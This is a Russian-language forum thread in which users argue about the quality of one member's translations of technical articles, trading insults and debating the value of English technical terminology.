Учись на кошках. Потому что от такого перевода всем кроме тебя толку 0. Ты же можешь качать свой скилл не замусоривая форум вот таким откровенно дряным контентом. Свой вклад я внес своим коментарием, быть редактором для переводчика который учится переводить чего не понимает и в следствии чего производит откровенный мусор я точно не собираюсь, и никакое повышение переводчиского скилла тебе не поможет в преводе специализированных тем. Уважаешь админа и форум? отлично! - не мусори значит.
 
Учись на кошках. Потому что от такого перевода всем кроме тебя толку 0. Ты же можешь качать свой скилл не замусоривая форум вот таким откровенно дряным контентом. Свой вклад я внес своим коментарием, быть редактором для переводчика который учится переводить чего не понимает и в следствии чего производит откровенный мусор я точно не собираюсь, и никакое повышение переводчиского скилла тебе не поможет в преводе специализированных тем. Уважаешь админа и форум? отлично! - не мусори значит.
ты токсикоз свой оставь, не делает тебя лучше. а мусора от твоих сообщений без смысленных больше чем от моих. Завязывай, мне абсолютно похрен на то что ты говоришь
 
ты токсикоз свой оставь, не делает тебя лучше. а мусора от твоих сообщений без смысленных больше чем от моих. Завязывай, мне абсолютно похрен на то что ты говоришь
Бро не злись, в его словах есть доля правды, некоторые вещи, неправильно переведенные, могут только запутать новичков, которые будут читать статью и пытаться ее понять. Лучше консультироваться насчет технических моментов с технически подкованным человеком, что бы не было таких ляпов. Это очень хорошо, что ты радуешь форум переводами, но они должны быть лучше чем результат из гугл переводчика. Особенно в таких технических темах.
 
Че то с этими переводчиками не так, какой вообще смысл переводить то че тупо не понимаешь. Могу понять что чел нашел по интересной ему теме статью на интстранном языке, разобрался в том что там написано, попрактиковал написанное, понял что статья очень полезная и перевел ее для любимого форума. Но че этот клоун делает и зачем совсем непонятно. Мучил бы жопу там где никто не видит раз хочется, но зачем на публику. Или это поднасрать форуму? Типа что бы ржали - гляньте какие там акуенные тех статьи, сразу видно что форум технический и ребята разбираются в вопросе, вредительство не иначе.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Че то с этими переводчиками не так, какой вообще смысл переводить то че тупо не понимаешь.
да ладно тебе, так хоть он линки на оригиналы агрегирует, мене качество перевода тоже не особно нравится, но он ссылку принес на оригинал - а это уже польза, какой бы не был перевод - я тебе благодарен ТС
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Выскажусь со своей колокольни. Практиковать английский - это дело богоугодное, но для читателя, который хочет посвятить себя подобным темам это может выйти боком. Во-первых, многие понимают, что есть термины, которые на русский язык переводятся плохо и негласно приняты англицизмы (меня до сих пор коробит от "жестко закодированных паролей"). Соответственно человек, столкнуввшись с технической проблемой скорее всего не сможет найти дополнительную информацию, т.к. на русском терминология по нашим темам не унифицирована никак. Каждый переводит как хочет. К сожалению, на английском информации сильно больше и желательно знать специальные термины на английском, чтобы упростить себе жизнь в поиске релевантной информации. Когда-то сам начал себя приучать к чтению и письму на кривом техничесокм английском, чтобы слушать и читать статьи с конференций. Поэтому тут палка о двух концах. Вроде дело полезное и человек отдает свое время - самый важный ресурс, а с другой стороны может затормозить развитие ньюфагов.
 
Это

Это ты так решил поддержать творца стремительных домкратов?
Открыл окно, парень, душно же
 
Открыл окно, парень, душно же
Открыл окно потому статья пованивает стремительными домкратами.
 
Открыл окно потому статья пованивает стремительными домкратами.
а без стремительных домкратов тут полфорума можно распускать
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх